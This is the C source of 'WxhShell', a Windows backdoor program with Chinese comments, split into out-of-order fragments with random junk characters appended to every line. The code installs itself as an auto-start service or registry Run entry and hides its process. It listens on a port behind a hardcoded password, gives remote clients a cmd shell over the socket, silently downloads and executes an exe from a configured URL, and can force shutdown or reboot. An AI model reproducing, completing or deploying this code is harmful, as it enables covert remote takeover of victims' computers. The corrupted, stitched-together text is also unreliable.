    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t'*2)U  
    if(Boot(SHUTDOWN)) ~' q&rvk`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NT<}-^  
    else { FB n . 4  
    closesocket(wsh); ^3ysY24Q  
    ExitThread(0); Bi|-KS.9  
    } gsVm)mkd  
    break; 0RP{_1k  
    } =|qYaXjT$  
  // 获取shell pXf5/u8&  
  case 's': { N[wyi&m4  
    CmdShell(wsh); ^K[[:7Aem  
    closesocket(wsh); c:,K{ZR  
    ExitThread(0); 79Q>t%rD[  
    break; *wV`7\@  
  } YiC_,8A~  
  // 退出 {oRR]>  
  case 'x': { K!;>/3Y2-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {%QWv%|  
    CloseIt(wsh); ^i6`w_/  
    break; :2-!bLo}&  
    } L lVE5f?  
  // 离开 A#CGD0T  
  case 'q': { :.?%e{7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qQe23,x@5  
    closesocket(wsh); 5Cl;h^R|m  
    WSACleanup(); Uc5BNk7<=  
    exit(1); X;3gKiD  
    break; D]hwG0Chd  
        } e*pYlm  
  } U\UlQ p?  
  } )}4xmf@g l  
! f*t9 I9Q  
  // 提示信息 TbR!u:J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v9l|MI15V  
} )U:W 9%  
  } {KM5pK?,BJ  
H1a<&7  
  return; Y1L7sH 9  
} o|c%uw  
1n EW'F  
// shell模块句柄 N.|uPq$R  
int CmdShell(SOCKET sock) LABLT;c  
{ >kG: MJj  
STARTUPINFO si; 2JLXDkZ  
ZeroMemory(&si,sizeof(si)); j$}W%ibj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xQ@gh ( (  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p$zj2W+sN  
PROCESS_INFORMATION ProcessInfo; KU)~p"0[6]  
char cmdline[]="cmd"; y<*/\]t9L[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4 X6_p(  
  return 0; F!~oJ  
} KPB^>,T2{  
=aJb}X  
// 自身启动模式 Ah1fcXED  
int StartFromService(void) ewp&QH4  
{ l|'{Cb   
typedef struct SZm&2~|J  
{ Zh 3hCxXa  
  DWORD ExitStatus; \EOPlyf8x  
  DWORD PebBaseAddress; 8ZvozQE  
  DWORD AffinityMask; q5u"v  
  DWORD BasePriority; D+69U[P_A  
  ULONG UniqueProcessId; Y+ea  
  ULONG InheritedFromUniqueProcessId; Bd-@@d.H<  
}   PROCESS_BASIC_INFORMATION; DXc3u^ L  
iK <vr  
PROCNTQSIP NtQueryInformationProcess; "[p-Iy1  
j5]6 CG_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d6;"zW|Ec  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QzX|c&&>u2  
H3qM8_GUA  
  HANDLE             hProcess; ]Z#=w  
  PROCESS_BASIC_INFORMATION pbi; 3F|#nq  
!;~6nYY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @"gWv s  
  if(NULL == hInst ) return 0; Gtpl5gQH  
>{huaN B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zm~oV?6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H:>i:\J/M9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qfd4")zhG  
ibIo1i//[  
  if (!NtQueryInformationProcess) return 0; =TG[isC/F9  
MH=;[| N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t>izcO  
  if(!hProcess) return 0; o2#_CdU   
gS$?#!f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fkmN?CU{1%  
N 56/\1R  
  CloseHandle(hProcess); +ZK12D}  
7lYiufg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C!Oz'~l  
if(hProcess==NULL) return 0; haW*W=kv)  
p a)2TL/@  
HMODULE hMod; }:2GD0Ru  
char procName[255]; ygn]f*;?kw  
unsigned long cbNeeded; ,U^V]jC  
/6PL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  8%W(",nd  
`;vJ\$-<  
  CloseHandle(hProcess); oe*Y(T\G  
C`LHFqv  
if(strstr(procName,"services")) return 1; // 以服务启动 :kz"W ya.  
yE4X6  
  return 0; // 注册表启动 IGC:zZ~z  
} ,8^QV3  
\Q m1+tg  
// 主模块 6)_svtg  
int StartWxhshell(LPSTR lpCmdLine) 7_*k<W7|  
{ ,q|;`?R;  
  SOCKET wsl; 0l&#%wmJ,  
BOOL val=TRUE; 9p{7x[C  
  int port=0; 3+>;$  
  struct sockaddr_in door; ? f\ ~:Gm/  
,KyG^;Riy  
  if(wscfg.ws_autoins) Install(); N& 683z  
'l7ey3B%  
port=atoi(lpCmdLine); 8n1<nS<  
ta'{S=^j  
if(port<=0) port=wscfg.ws_port; 6b6rM%B.oD  
ft" t  
  WSADATA data; ,/uVq G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ga M:/.  
z&a>cjt_;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   td"D&1eQ@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p|f5w"QcH  
  door.sin_family = AF_INET; c>}f y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gXP)YN  
  door.sin_port = htons(port); FT$Z8  
@cC@(M~Ru  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V9%!B3Sb  
closesocket(wsl); &u}]3E'-k  
return 1; ]b6gZ<  
} zZ*\v  
|_GESpoHH  
  if(listen(wsl,2) == INVALID_SOCKET) { bAVlL&^@|  
closesocket(wsl); 5H!6 #pqM  
return 1; n&N>$c,T27  
} Wn kIi,<  
  Wxhshell(wsl); d09qZj>  
  WSACleanup(); \zMx~-2oN  
=(cfo_B@K  
return 0; 8uD%  
76BA1x+G  
} ?Tr\r1s]  
/ho7O/aAa  
// 以NT服务方式启动 VTIRkC wl@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !bGMVw6_  
{ qvN`46c  
DWORD   status = 0; W#sCvI@   
  DWORD   specificError = 0xfffffff; > %B7/l$  
vZJu =t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @||GMA+|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yZyB.wT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *Al`QEW  
  serviceStatus.dwWin32ExitCode     = 0; g* DBW,  
  serviceStatus.dwServiceSpecificExitCode = 0; 3U!#rz"  
  serviceStatus.dwCheckPoint       = 0; YU6D;  
  serviceStatus.dwWaitHint       = 0; FesUE_L2$  
z5q(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O Zn40"`  
  if (hServiceStatusHandle==0) return; sOb=+u$$9  
o)r%4YOL  
status = GetLastError(); Fsi;[be$A  
  if (status!=NO_ERROR) yD:}&!\}  
{ <S@XK%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GX,)~Syw*  
    serviceStatus.dwCheckPoint       = 0; !'f.g|a  
    serviceStatus.dwWaitHint       = 0; MNWuw;:v  
    serviceStatus.dwWin32ExitCode     = status; g), t  
    serviceStatus.dwServiceSpecificExitCode = specificError; ee\xj$,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [\,Jy8t)\  
    return; ^6i,PRScS  
  } cj@ar^=`K  
/P koqA,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Kk|4  
  serviceStatus.dwCheckPoint       = 0; ;tG@ 6  
  serviceStatus.dwWaitHint       = 0; LnlDCbF;!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gq0Q}[53  
} 0jmPj   
"Kc1@EX=  
// 处理NT服务事件,比如:启动、停止 'd |*n#Dqc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7L !$hk  
{ pZV=Co3!I  
switch(fdwControl) }y&tF'qG  
{ rJw Ws  
case SERVICE_CONTROL_STOP: G^&P'*  
  serviceStatus.dwWin32ExitCode = 0; H%G|8,4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %Gc)$z/Wd  
  serviceStatus.dwCheckPoint   = 0; pWOK~=t  
  serviceStatus.dwWaitHint     = 0; Xcw 6mpLt  
  { ~tB#Q6`nB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =kDh:&u%  
  } k r ga!,I  
  return; BVe c  
case SERVICE_CONTROL_PAUSE: 0.z\YTZ9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y@2v/O,\  
  break; 4"d'iY  
case SERVICE_CONTROL_CONTINUE: 7 (pl HW|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #H-EOXy  
  break; RZbiiMC>  
case SERVICE_CONTROL_INTERROGATE: D]NJ ^.X  
  break; $q 9dkt  
}; B'8T+qvA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yP0XA=,Y  
} 0}qnq"  
[iUy_ C=qp  
// 标准应用程序主函数 YlJ_$Q[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XkEE55#>|  
{ )JXy>q#  
xV>sc;PEb  
// 获取操作系统版本 n# "N"6s  
OsIsNt=GetOsVer(); rt C:3fDy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }II)<g'  
/j"aOLL|  
  // 从命令行安装 bTc^ huP  
  if(strpbrk(lpCmdLine,"iI")) Install(); o@uZU4MM  
nXAGwU8a  
  // 下载执行文件 o[B"J96b  
if(wscfg.ws_downexe) { M@<r8M]G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^F g!.X_  
  WinExec(wscfg.ws_filenam,SW_HIDE); C8AR ^F W  
} k~IRds@G  
h {VdW}g  
if(!OsIsNt) { <K {|#ND#  
// 如果时win9x,隐藏进程并且设置为注册表启动 RW|Xh8.O  
HideProc(); {+jO/ZQu5  
StartWxhshell(lpCmdLine); ^a?g~G  
} fR#W#n#m  
else Wiere0 2*  
  if(StartFromService()) .tA=5 QY,  
  // 以服务方式启动 Eu2(#z 6eW  
  StartServiceCtrlDispatcher(DispatchTable); >9,:i)m_  
else 3,)[Q?nKD  
  // 普通方式启动 Iwe  
  StartWxhshell(lpCmdLine); BY>]6SrP  
$%.,=~W7  
return 0; u-@;Q<v$  
} ,jdTe?[*^  
!112u#V  
P1dFoQz  
9;fs'R  
=========================================== ?$.x%G+  
JQ9+kZ  
ZDx1v_xr  
He1~27+99  
@nOuFX4  
hCob^o  
" mNKcaM?h  
Zx^R-9  
#include <stdio.h> )WsR 8tk  
#include <string.h> 2Ws'3Jz  
#include <windows.h> vDCbD#.6  
#include <winsock2.h> V)]lca  
#include <winsvc.h> :eFyd`Syw  
#include <urlmon.h> wowWq\euY  
=\)76xC20  
#pragma comment (lib, "Ws2_32.lib") xtK}XEhG!  
#pragma comment (lib, "urlmon.lib") Mo]aB:a  
9qm'qx  
#define MAX_USER   100 // 最大客户端连接数 )!=fy']  
#define BUF_SOCK   200 // sock buffer oF_ '<\ly=  
#define KEY_BUFF   255 // 输入 buffer ';LsEI[  
y\Wp} }  
#define REBOOT     0   // 重启 O)c3Lm-w  
#define SHUTDOWN   1   // 关机 _mTNK^gB  
y\R-=Am".  
#define DEF_PORT   5000 // 监听端口 q+ka}@  
~!6 I.u  
#define REG_LEN     16   // 注册表键长度 (@Eb+8Zd  
#define SVC_LEN     80   // NT服务名长度 +de5y]1H,|  
BirnCfj/2  
// 从dll定义API Tsocc5gWZ*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 83F]d+n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); irMBd8WG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G0(A~Q"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {BZ0x2  
j]m|}n  
// wxhshell配置信息 Yu:($//w  
struct WSCFG { V o%GO 9b;  
  int ws_port;         // 监听端口 x$KQ*P~q  
  char ws_passstr[REG_LEN]; // 口令 (I;lE*>  
  int ws_autoins;       // 安装标记, 1=yes 0=no kfq<M7y  
  char ws_regname[REG_LEN]; // 注册表键名 |;R-q8  
  char ws_svcname[REG_LEN]; // 服务名 :Yn{:%p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pIY3ft\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0G3T.4I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M1I4Ot  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A+VzpJ~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t![972.&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =cxG4R1x  
n"<'F4r  
}; c+jnQM'  
|UN#utw{^Y  
// default Wxhshell configuration 2>.>q9J(  
struct WSCFG wscfg={DEF_PORT, S9 @*g3  
    "xuhuanlingzhe", RY*yj&?w [  
    1, ]#dZLm_  
    "Wxhshell", ^ ?T,>ZI  
    "Wxhshell", Hr/J6kyB)  
            "WxhShell Service", [yVcH3GcjI  
    "Wrsky Windows CmdShell Service", Tx/KL%X  
    "Please Input Your Password: ", 9\i^.2&  
  1, bj FND]p?w  
  "http://www.wrsky.com/wxhshell.exe", uN6xOq/  
  "Wxhshell.exe" `7'=~BP?X  
    }; IXsOTBM  
h|ja67VG  
// 消息定义模块 _? u} Jy_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `(8RK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5S4`.'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YrTjHIn~w  
char *msg_ws_ext="\n\rExit.";  DIh[%  
char *msg_ws_end="\n\rQuit."; VqeW;8&*iv  
char *msg_ws_boot="\n\rReboot..."; g= s2t"&  
char *msg_ws_poff="\n\rShutdown..."; EZ^M?awB4  
char *msg_ws_down="\n\rSave to "; l%7^'nDn  
[q!)Y:|u_>  
char *msg_ws_err="\n\rErr!"; 62#8c~ dL  
char *msg_ws_ok="\n\rOK!"; #K/#-S  
WI54xu1M  
char ExeFile[MAX_PATH]; zuvP\Y=V`  
int nUser = 0; JDBNi+t  
HANDLE handles[MAX_USER]; r'u[>uY  
int OsIsNt; 5@~5RNrq2  
BO;LK-V  
SERVICE_STATUS       serviceStatus; t8-LPq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H$]FUv8  
[R Hji47  
// 函数声明 S;S_<GX  
int Install(void); cin3)lm  
int Uninstall(void); If(IG]>`D  
int DownloadFile(char *sURL, SOCKET wsh); F6)/Iiv  
int Boot(int flag); 1PT0<C-  
void HideProc(void); NGb\e5?  
int GetOsVer(void); 7 *HBb-  
int Wxhshell(SOCKET wsl); (1Ii86EP  
void TalkWithClient(void *cs); j es[a  
int CmdShell(SOCKET sock); ,?s: s&4  
int StartFromService(void); 1(WNrVm;  
int StartWxhshell(LPSTR lpCmdLine); h`/1JjP  
8BwJWxBQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fv9n>%W&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j0[9Cj^%c  
~UV$(5&-  
// 数据结构和表定义 KmRxbf  
SERVICE_TABLE_ENTRY DispatchTable[] = \}mn"y  
{ @60/IE{-v  
{wscfg.ws_svcname, NTServiceMain}, HCKj8-*  
{NULL, NULL} w97B)Kn6  
}; %q 7gl;'  
$qj||zA  
// 自我安装 yTL<S'  
int Install(void) {F+iL&e)  
{ %1VfTr5  
  char svExeFile[MAX_PATH]; Kzgnh gc  
  HKEY key; En/EQ\T@F  
  strcpy(svExeFile,ExeFile); B>W!RyH8o  
6@o *"4~Q  
// 如果是win9x系统,修改注册表设为自启动 :0RfA%  
if(!OsIsNt) { O* 7` Waag  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p-o!K\o-1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sj0{;>>%+N  
  RegCloseKey(key); j -j,0!T~b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \@HsMV2+zN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r b@{ir  
  RegCloseKey(key); =HkB>w)h  
  return 0; w*"h#^1z  
    } b^]@8I[M  
  } N61\]BN<  
} :=K <2  
else { ,a /<t"  
D/-$~u_o  
// 如果是NT以上系统,安装为系统服务 @d86l.=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h^$ c  
if (schSCManager!=0) D27MT/=7  
{ xK3}z N$T  
  SC_HANDLE schService = CreateService m'i^BE  
  ( _Q1[t9P"  
  schSCManager, m@){@i2.  
  wscfg.ws_svcname, >AT T<U=  
  wscfg.ws_svcdisp, !Yan}{A,  
  SERVICE_ALL_ACCESS, *N #{~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^|1)6P}6  
  SERVICE_AUTO_START, <>FpvdB  
  SERVICE_ERROR_NORMAL, `vFYe N;  
  svExeFile, y=)xo7 (  
  NULL, q|+`ihut  
  NULL, Ce0YO~I  
  NULL, ]FLi^}ct  
  NULL, 06#40-   
  NULL D8''q%  
  ); +/E yX =  
  if (schService!=0) Tp7slKc0p  
  { eJ23$VM+9  
  CloseServiceHandle(schService); M[@=m[#a  
  CloseServiceHandle(schSCManager); Y@Zv52,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =7U_ jDME  
  strcat(svExeFile,wscfg.ws_svcname); Mh+ym]6\(k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 71# ipZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *=X$j~#X  
  RegCloseKey(key); "/zIsn7  
  return 0; <+oTYPgD9  
    } =R  <X!@  
  } 1[;~>t@C  
  CloseServiceHandle(schSCManager); Iw<: k  
} _K?{DnTb  
} 5k^UZw  
[0(+E2/:2  
return 1; pUz;e#J|  
} ,L"1Ah  
Nn_n@K  
// 自我卸载 [Ie;Jd>gG  
int Uninstall(void) dt -=7mz#  
{ tC,R^${#  
  HKEY key; GuV.7&!x  
n!r<\4I  
if(!OsIsNt) { \NEXtr`Th  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xSQ:#o=8G  
  RegDeleteValue(key,wscfg.ws_regname); ]R$ u3F  
  RegCloseKey(key); &C.{7ZNt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J\BTrN7  
  RegDeleteValue(key,wscfg.ws_regname); NRM=0-16u$  
  RegCloseKey(key); LtxeT .  
  return 0; .FarKW  
  } )NoNgU\7!  
} |(Bc0sgw}  
} YQ&Ww|xe  
else { _dgS@n;6  
R<J1bH1n3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Gd:TM]rJ  
if (schSCManager!=0) Lad8C  
{ H}R/_5g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TJHab;7F  
  if (schService!=0) Y~P1r]piB  
  { "h-G=vo,kl  
  if(DeleteService(schService)!=0) { 5@YrtZI  
  CloseServiceHandle(schService); Rd?8LLz  
  CloseServiceHandle(schSCManager); 6%hr]>L  
  return 0; k//l~A9m  
  } 00?_10x)  
  CloseServiceHandle(schService); m~[4eH,  
  } b"lzR[X,e  
  CloseServiceHandle(schSCManager); zz)[4G  
} 59Lv/Mfy  
} l@ amAusE  
qT<OiIMj^  
return 1; ; i)NP X  
} 9; \a|8O  
=RA8^wI  
// 从指定url下载文件 U?bQBHIC  
int DownloadFile(char *sURL, SOCKET wsh) kM0TQX)$m  
{ X]Aobtz  
  HRESULT hr; eHQS\n  
char seps[]= "/"; h U3!  
char *token; `b11,lg  
char *file; >@g+%K]  
char myURL[MAX_PATH]; :i?7RouO  
char myFILE[MAX_PATH]; GOKca%DT=  
AYVkJq?  
strcpy(myURL,sURL); LpQ=Y]{j  
  token=strtok(myURL,seps); ;?{N=x8  
  while(token!=NULL) c:J;Q){Xz  
  { K&Sz8# +  
    file=token; TFQX}kr]  
  token=strtok(NULL,seps); ;JD/4:  
  } bAUruTn  
^69ZX61vt  
GetCurrentDirectory(MAX_PATH,myFILE); ujLz<5gKuO  
strcat(myFILE, "\\"); u l-A'  
strcat(myFILE, file); kBRy(?Mft&  
  send(wsh,myFILE,strlen(myFILE),0); ;kX:k~,]}>  
send(wsh,"...",3,0); }akF=/M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _^k9!V jo  
  if(hr==S_OK) mRECd Gst  
return 0; $:RP tG  
else 7)i6L'r  
return 1; yUyx&Y/  
Ft[)m#Dj`  
} Bvai  
yP~O C|Z  
// 系统电源模块 ndXUR4  
int Boot(int flag) GyVRe]<>B  
{ ,&q Q[i  
  HANDLE hToken; ]\.3<^  
  TOKEN_PRIVILEGES tkp; ru5T0w";V  
O-N@HZC  
  if(OsIsNt) { -Wt (t2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ju8DmC5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /SvB w>gQ  
    tkp.PrivilegeCount = 1; U9/>}Ni%3G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :~ ; 48m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <CIy|&J6  
if(flag==REBOOT) { m~<<ok_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B7u4e8(E*  
  return 0; +vSp+X1E  
} Q2 S!}A  
else { dBG5IOD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^rX5C2}G\D  
  return 0; H7}@56  
} T:G8xI1 P  
  } 0+m4 }]6l  
  else { @krh<T6|  
if(flag==REBOOT) { ;&~9k?v7L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z< 4Du  
  return 0; "P9SW?',  
} 9u^yEqG`  
else { i9O;D*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ./r#\X)dc  
  return 0; rJ^*8C!  
} ys DGF@wZC  
} 5W4Tp% Lda  
6qYK"^+xu  
return 1; v9K=\ j  
} rWS],q=c  
-S6^D/(;  
// win9x进程隐藏模块 rIRkXO)  
void HideProc(void) pY"&=I79tb  
{ in>.Tax*  
#P/}'rdt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #}8 x  
  if ( hKernel != NULL ) %&\DCAFk  
  { CWx_9b zk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *T:gx:Sg/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dkI(&/  
    FreeLibrary(hKernel); sNbCOTow  
  } @S#Ls="G  
_2p D  
return; <HMmsw  
} /`H{ n$  
XMi)PXs$  
// 获取操作系统版本 |*te69RX  
int GetOsVer(void) ^QbaMX  
{ j"wbq-n,7  
  OSVERSIONINFO winfo; r6 :c<p[c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M7. fz"M  
  GetVersionEx(&winfo); F2WMts  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gVU&Yl~/^  
  return 1; s3+6Z~g'B  
  else Rf0F`D k  
  return 0; ^,,lo<d_L  
} -$@4e|e%a  
;{S7bH'6m  
// 客户端句柄模块 ,?(IRiq%  
int Wxhshell(SOCKET wsl) b _%W*Q  
{ !dZpV~g0  
  SOCKET wsh; $]I" ,ef  
  struct sockaddr_in client; "Qfw)!#  
  DWORD myID; D! $4  
S1G=hgF_L  
  while(nUser<MAX_USER) le.(KgRS4  
{ jSMs<ox  
  int nSize=sizeof(client); F]k$O$)0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RQt\_x7P  
  if(wsh==INVALID_SOCKET) return 1; +~cW0z  
HS[N]'dc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Yh 9fIRR  
if(handles[nUser]==0) ,.PW qfb  
  closesocket(wsh); }5{#f`Ca6  
else i=DoK{`L  
  nUser++; {nyVC%@Y  
  } :"e,& %  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -YfpfNt  
XF=GmkO  
  return 0; e Zb8x  
} y*fU_Il|!  
;zZGV4Qc~  
// 关闭 socket ?iQA>P9B  
void CloseIt(SOCKET wsh) wU= @,K  
{ oP( Hkp,'  
closesocket(wsh); .-W_m7&}  
nUser--; 4zw5?$YWO"  
ExitThread(0); |e#ea~/b  
} _O*"_^6  
h=Xr J  
// 客户端请求句柄 {V{*rq<)  
void TalkWithClient(void *cs) |Lz:i +;  
{ 7 *#pv}Y  
-A A='s  
  SOCKET wsh=(SOCKET)cs; oztfr<cUH  
  char pwd[SVC_LEN]; USrg,A  
  char cmd[KEY_BUFF]; TtaVvaz~>  
char chr[1]; L8zY?v(bG  
int i,j; s]p3dB#  
&bO0Rn1F  
  while (nUser < MAX_USER) { u4kg#+H  
WV'FW)%  
if(wscfg.ws_passstr) { <Hq|<^_K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); utz!ElzA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c%+9uu3  
  //ZeroMemory(pwd,KEY_BUFF); kN)m"}gX  
      i=0; k^IC"p Uc  
  while(i<SVC_LEN) { 5$|wW}SA  
h6dVT9  
  // 设置超时 _e;$Y#`EO  
  fd_set FdRead; D%0GXUp  
  struct timeval TimeOut; yn[^!GuJ_  
  FD_ZERO(&FdRead); mt+IB4`  
  FD_SET(wsh,&FdRead); G^]7!:0  
  TimeOut.tv_sec=8; )&j4F)  
  TimeOut.tv_usec=0; ZMHb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Bk~lE]Q3c7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [Pu~kiN  
<[H1S@{W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IR+dGqIjZb  
  pwd=chr[0]; 76\ir<1up  
  if(chr[0]==0xd || chr[0]==0xa) { ;-d }\f ,  
  pwd=0; "(hhb>V1Wl  
  break; oXc!JZ^  
  } "b!EtlT9  
  i++; O6^>L0'  
    } -|MeC  
4*4s{twG  
  // 如果是非法用户,关闭 socket 1Z +3=$P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2z7+@!w/  
} '*5I5'[ X,  
gsn3]^X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <|NP!eMsw8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S;[*5g6a&x  
F#X&Tb{  
while(1) { {q%wr*  
krPwFp2[*  
  ZeroMemory(cmd,KEY_BUFF); "r!O9X6  
#7IM#t c@  
      // 自动支持客户端 telnet标准   $!L'ZO1_r  
  j=0; Bf$YwoZov  
  while(j<KEY_BUFF) { [2UjY^\;T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6.},y<E  
  cmd[j]=chr[0]; F$UvYy4O d  
  if(chr[0]==0xa || chr[0]==0xd) { >;eWgQ6V  
  cmd[j]=0; Ll%CeP  
  break; .(OFYK<  
  } \`\& G-\  
  j++; JzJS?ZF  
    } gnW `|-:\  
nc#}-}`5  
  // 下载文件 _-$"F>  
  if(strstr(cmd,"http://")) { EELS-qA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )UA};Fus  
  if(DownloadFile(cmd,wsh)) +1R?R9^Fw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <(dHh9$~  
  else -y70-K3  
